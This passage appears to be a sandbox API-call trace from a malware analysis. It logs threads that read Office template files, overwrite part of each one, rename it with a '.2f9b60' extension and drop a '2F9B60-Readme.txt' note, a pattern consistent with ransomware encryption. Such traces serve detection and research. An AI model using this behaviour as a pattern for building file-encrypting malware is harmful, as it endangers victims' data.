(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858850 [0208.850] sprintf (in: _Dest=0x1b858850, _Format="%c%c" | out: _Dest="d3") returned 2 [0208.850] sprintf (in: _Dest=0x1b858852, _Format="%c%c" | out: _Dest="52") returned 2 [0208.850] sprintf (in: _Dest=0x1b858854, _Format="%c%c" | out: _Dest="35") returned 2 [0208.850] sprintf (in: _Dest=0x1b858856, _Format="%c%c" | out: _Dest="ea") returned 2 [0208.850] sprintf (in: _Dest=0x1b858858, _Format="%c%c" | out: _Dest="43") returned 2 [0208.850] sprintf (in: _Dest=0x1b85885a, _Format="%c%c" | out: _Dest="0b") returned 2 [0208.850] sprintf (in: _Dest=0x1b85885c, _Format="%c%c" | out: _Dest="3a") returned 2 [0208.850] sprintf (in: _Dest=0x1b85885e, _Format="%c%c" | out: _Dest="57") returned 2 [0208.850] sprintf (in: _Dest=0x1b858860, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.850] sprintf (in: _Dest=0x1b858862, _Format="%c%c" | out: _Dest="dc") returned 2 [0208.850] sprintf (in: _Dest=0x1b858864, _Format="%c%c" | out: _Dest="8c") returned 2 [0208.850] sprintf (in: _Dest=0x1b858866, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.850] sprintf (in: _Dest=0x1b858868, _Format="%c%c" | out: _Dest="43") returned 2 [0208.850] sprintf (in: _Dest=0x1b85886a, _Format="%c%c" | out: _Dest="d0") returned 2 [0208.850] sprintf (in: _Dest=0x1b85886c, _Format="%c%c" | out: _Dest="bc") returned 2 [0208.850] sprintf (in: _Dest=0x1b85886e, _Format="%c%c" | out: _Dest="e8") returned 2 [0208.850] sprintf (in: _Dest=0x1b858870, _Format="%c%c" | out: _Dest="c3") returned 2 [0208.850] sprintf (in: _Dest=0x1b858872, _Format="%c%c" | out: _Dest="05") returned 2 [0208.850] sprintf (in: _Dest=0x1b858874, _Format="%c%c" | out: _Dest="17") returned 2 [0208.850] sprintf (in: _Dest=0x1b858876, _Format="%c%c" | out: _Dest="89") returned 2 [0208.850] sprintf (in: _Dest=0x1b858878, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.850] sprintf (in: _Dest=0x1b85887a, _Format="%c%c" | out: _Dest="8b") returned 2 [0208.851] sprintf (in: _Dest=0x1b85887c, _Format="%c%c" | out: _Dest="a9") returned 2 [0208.851] sprintf (in: _Dest=0x1b85887e, _Format="%c%c" | out: _Dest="1a") returned 2 [0208.851] sprintf (in: _Dest=0x1b858880, _Format="%c%c" | out: _Dest="09") returned 2 [0208.851] sprintf (in: _Dest=0x1b858882, _Format="%c%c" | out: _Dest="59") returned 2 [0208.851] sprintf (in: _Dest=0x1b858884, _Format="%c%c" | out: _Dest="65") returned 2 [0208.851] sprintf (in: _Dest=0x1b858886, _Format="%c%c" | out: _Dest="07") returned 2 [0208.851] sprintf (in: _Dest=0x1b858888, _Format="%c%c" | out: _Dest="f5") returned 2 [0208.851] sprintf (in: _Dest=0x1b85888a, _Format="%c%c" | out: _Dest="74") returned 2 [0208.851] sprintf (in: _Dest=0x1b85888c, _Format="%c%c" | out: _Dest="20") returned 2 [0208.851] sprintf (in: _Dest=0x1b85888e, _Format="%c%c" | out: _Dest="60") returned 2 [0208.851] sprintf (in: _Dest=0x1b858890, _Format="%c%c" | out: _Dest="29") returned 2 [0208.851] sprintf (in: _Dest=0x1b858892, _Format="%c%c" | out: _Dest="e7") returned 2 [0208.851] sprintf (in: _Dest=0x1b858894, _Format="%c%c" | out: _Dest="67") returned 2 [0208.851] sprintf (in: _Dest=0x1b858896, _Format="%c%c" | out: _Dest="ed") returned 2 [0208.851] sprintf (in: _Dest=0x1b858898, _Format="%c%c" | out: _Dest="f0") returned 2 [0208.851] sprintf (in: _Dest=0x1b85889a, _Format="%c%c" | out: _Dest="29") returned 2 [0208.851] sprintf (in: _Dest=0x1b85889c, _Format="%c%c" | out: _Dest="99") returned 2 [0208.851] sprintf (in: _Dest=0x1b85889e, _Format="%c%c" | out: _Dest="fe") returned 2 [0208.851] RtlInitAnsiString (in: DestinationString=0x353afa08, SourceString="d35235ea430b3a572bdc8ce543d0bce8c30517895a8ba91a09596507f574206029e767edf02999fe" | out: DestinationString="d35235ea430b3a572bdc8ce543d0bce8c30517895a8ba91a09596507f574206029e767edf02999fe") [0208.851] RtlAnsiStringToUnicodeString (in: DestinationString=0x353af9d8, SourceString="d35235ea430b3a572bdc8ce543d0bce8c30517895a8ba91a09596507f574206029e767edf02999fe", AllocateDestinationString=1 | out: DestinationString="d35235ea430b3a572bdc8ce543d0bce8c30517895a8ba91a09596507f574206029e767edf02999fe") returned 0x0 [0208.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43146140 [0208.852] wcscat (in: _Dest=0x431a6930, _Source="d35235ea430b3a572bdc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d35235ea430b3a572bdc") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d35235ea430b3a572bdc" [0208.852] wcscat (in: _Dest=0x431a6930, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d35235ea430b3a572bdc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d35235ea430b3a572bdc.2f9b60" [0208.852] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d35235ea430b3a572bdc.2f9b60", NtPathName=0x353af9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\d35235ea430b3a572bdc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x43116ae0 Thread: id = 1123 os_tid = 0xfd4 [0112.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt")) returned 0x20 [0112.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT", dwFileAttributes=0x20) returned 1 [0112.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1568 [0112.437] GetFileSizeEx (in: hFile=0x1568, lpFileSize=0x2344f740 | out: lpFileSize=0x2344f740*=30720) returned 1 [0112.437] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x77fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.437] ReadFile (in: hFile=0x1568, lpBuffer=0x2344f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2344f708, lpOverlapped=0x0 | out: lpBuffer=0x2344f6c0*, lpNumberOfBytesRead=0x2344f708*=0x4, lpOverlapped=0x0) returned 1 [0112.454] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0112.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261700 [0112.455] NtQuerySystemTime (in: CurrentTime=0x2344f600 | out: CurrentTime=0x2344f600*=132462177179122000) returned 0x0 [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x4b4156b9 [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0xcf94bda [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0xc5bf4b9 [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0xb746d00 [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x7dcde16a [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x12eed227 [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x4a29fdac [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x1c1e09d2 [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x3d66894c [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x5d9a355b [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x6fd15c2e [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x13151a1c [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x2786263e [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x68693b0a [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x777b3721 [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x66565cac [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x175dd177 [0112.455] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x2185355e [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x38914f62 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x2eca5863 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0xf352624 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x252b00bd [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x5d251267 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x1c5c6be [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x6fb0e7bc [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x295e55b9 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x565c32 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x2683ac35 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x5c86ad8 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x6c01fbd3 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x6b283f50 [0112.456] RtlRandomEx (in: Seed=0x2344f5f0 | out: Seed=0x2344f5f0) returned 0x3282bc19 [0112.465] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.465] ReadFile (in: hFile=0x1568, lpBuffer=0x41de2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2344f660, lpOverlapped=0x0 | out: lpBuffer=0x41de2d00*, lpNumberOfBytesRead=0x2344f660*=0x3c00, lpOverlapped=0x0) returned 1 [0112.505] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261550) returned 1 [0112.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41df5950 [0112.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0112.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202629c0) returned 1 [0112.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.506] WriteFile (in: hFile=0x1568, lpBuffer=0x41df5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2344f660, lpOverlapped=0x0 | out: lpBuffer=0x41df5950*, lpNumberOfBytesWritten=0x2344f660*=0x3c00, lpOverlapped=0x0) returned 1 [0112.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df5950) returned 1 [0112.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41de2d00) returned 1 [0112.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20262de0 [0112.518] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.518] WriteFile (in: hFile=0x1568, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2344f710, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x2344f710*=0x102, lpOverlapped=0x0) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d00 [0112.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d00) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d00 [0112.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0112.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ca0) returned 1 [0112.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20261ca0 [0112.524] sprintf (in: _Dest=0x20261ca0, _Format="%c%c" | out: _Dest="b6") returned 2 [0112.524] sprintf (in: _Dest=0x20261ca2, _Format="%c%c" | out: _Dest="4a") returned 2 [0112.524] sprintf (in: _Dest=0x20261ca4, _Format="%c%c" | out: _Dest="b4") returned 2 [0112.524] sprintf (in: _Dest=0x20261ca6, _Format="%c%c" | out: _Dest="5a") returned 2 [0112.524] sprintf (in: _Dest=0x20261ca8, _Format="%c%c" | out: _Dest="87") returned 2 [0112.524] sprintf (in: _Dest=0x20261caa, _Format="%c%c" | out: _Dest="1f") returned 2 [0112.524] sprintf (in: _Dest=0x20261cac, _Format="%c%c" | out: _Dest="75") returned 2 [0112.524] sprintf (in: _Dest=0x20261cae, _Format="%c%c" | out: _Dest="38") returned 2 [0112.524] sprintf (in: _Dest=0x20261cb0, _Format="%c%c" | out: _Dest="7c") returned 2 [0112.524] sprintf (in: _Dest=0x20261cb2, _Format="%c%c" | out: _Dest="12") returned 2 [0112.524] sprintf (in: _Dest=0x20261cb4, _Format="%c%c" | out: _Dest="63") returned 2 [0112.524] sprintf (in: _Dest=0x20261cb6, _Format="%c%c" | out: _Dest="58") returned 2 [0112.524] sprintf (in: _Dest=0x20261cb8, _Format="%c%c" | out: _Dest="47") returned 2 [0112.524] sprintf (in: _Dest=0x20261cba, _Format="%c%c" | out: _Dest="89") returned 2 [0112.524] sprintf (in: _Dest=0x20261cbc, _Format="%c%c" | out: _Dest="8d") returned 2 [0112.524] sprintf (in: _Dest=0x20261cbe, _Format="%c%c" | out: _Dest="de") returned 2 [0112.524] RtlInitAnsiString (in: DestinationString=0x2344f788, SourceString="b64ab45a871f75387c12635847898dde" | out: DestinationString="b64ab45a871f75387c12635847898dde") [0112.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x2344f758, SourceString="b64ab45a871f75387c12635847898dde", AllocateDestinationString=1 | out: DestinationString="b64ab45a871f75387c12635847898dde") returned 0x0 [0112.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c210 [0112.524] wcscat (in: _Dest=0x1b85cba0, _Source="b64ab45a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\b64ab45a") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\b64ab45a" [0112.524] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\b64ab45a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\b64ab45a.2f9b60" [0112.524] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\b64ab45a.2f9b60", NtPathName=0x2344f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\b64ab45a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.525] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x2344f7d0, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.526] NtQueryInformationFile (in: FileHandle=0x1568, IoStatusBlock=0x2344f798, FileInformation=0x2344f7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2344f798, FileInformation=0x2344f7a8) returned 0x0 [0112.526] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x2344f798, FileInformation=0x2344f7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.528] FlushFileBuffers (hFile=0x1568) returned 1 [0112.539] CloseHandle (hObject=0x1568) returned 1 [0112.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.561] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.561] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0112.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1568 [0112.562] WriteFile (in: hFile=0x1568, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2344f650, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2344f650*=0xba9, lpOverlapped=0x0) returned 1 [0112.563] CloseHandle (hObject=0x1568) returned 1 [0112.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e910) returned 1 Thread: id = 1124 os_tid = 0xfd8 [0112.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt")) returned 0x20 [0112.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT", dwFileAttributes=0x20) returned 1 [0112.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c8 [0112.441] GetFileSizeEx (in: hFile=0x15c8, lpFileSize=0x2321f940 | out: lpFileSize=0x2321f940*=28160) returned 1 [0112.441] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x6dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.441] ReadFile (in: hFile=0x15c8, lpBuffer=0x2321f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2321f908, lpOverlapped=0x0 | out: lpBuffer=0x2321f8c0*, lpNumberOfBytesRead=0x2321f908*=0x4, lpOverlapped=0x0) returned 1 [0112.466] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261700 [0112.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0112.466] NtQuerySystemTime (in: CurrentTime=0x2321f800 | out: CurrentTime=0x2321f800*=132462177179278000) returned 0x0 [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x4b132227 [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x6d76141f [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x175df8bc [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x5044a6d1 [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x19e86f4a [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x61fc041 [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x26b50f9c [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x71209f50 [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x634b3218 [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x7581521b [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x573e8b3e [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0xcfc9868 [0112.466] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x5671aae2 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x4c9b37ff [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x519a1581 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x2ae6376a [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x1678aa6e [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x6c978f48 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x7fa58240 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x34e2db9c [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x27f07b36 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x1d160fcb [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x4de7b772 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x12fa952a [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x4663bea1 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x561092b3 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x6e9150e0 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x73a15587 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x3fa8e715 [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x410e2a7f [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x44cbb0ef [0112.467] RtlRandomEx (in: Seed=0x2321f7f0 | out: Seed=0x2321f7f0) returned 0x60f3eb1e [0112.475] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.475] ReadFile (in: hFile=0x15c8, lpBuffer=0x41de6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2321f860, lpOverlapped=0x0 | out: lpBuffer=0x41de6910*, lpNumberOfBytesRead=0x2321f860*=0x3c00, lpOverlapped=0x0) returned 1 [0112.508] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0112.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202629c0) returned 1 [0112.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41df9560 [0112.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0112.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c50 [0112.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c50) returned 1 [0112.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.509] WriteFile (in: hFile=0x15c8, lpBuffer=0x41df9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2321f860, lpOverlapped=0x0 | out: lpBuffer=0x41df9560*, lpNumberOfBytesWritten=0x2321f860*=0x3c00, lpOverlapped=0x0) returned 1 [0112.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df9560) returned 1 [0112.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41de6910) returned 1 [0112.518] RtlAllocateHeap 